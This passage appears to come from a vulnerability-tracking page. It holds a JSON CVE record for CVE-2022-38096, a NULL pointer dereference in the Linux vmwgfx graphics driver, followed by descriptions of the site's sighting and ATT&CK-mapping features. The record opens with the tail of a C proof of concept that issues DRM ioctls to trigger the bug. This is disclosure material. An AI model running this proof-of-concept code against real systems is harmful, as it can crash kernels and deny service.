arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context(); \n printf(\"%d\",cid); \n poc(cid); \n \n}"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-476",
"description": "CWE-476 NULL Pointer Dereference",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2024-06-25T21:08:05.642Z",
"orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
"shortName": "Anolis"
},
"references": [
{
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
},
{
"name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
"tags": [
"mailing-list"
],
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
}
],
"source": {
"defect": [
"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
],
"discovery": "INTERNAL"
},
"title": "There is a NULL pointer vulnerability in vmwgfx driver",
"x_generator": {
"engine": "Vulnogram 0.0.9"
}
}
},
"cveMetadata": {
"assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
"assignerShortName": "Anolis",
"cveId": "CVE-2022-38096",
"datePublished": "2022-09-09T14:39:51.163Z",
"dateReserved": "2022-09-07T00:00:00.000Z",
"dateUpdated": "2026-10-14T17:30:51.795Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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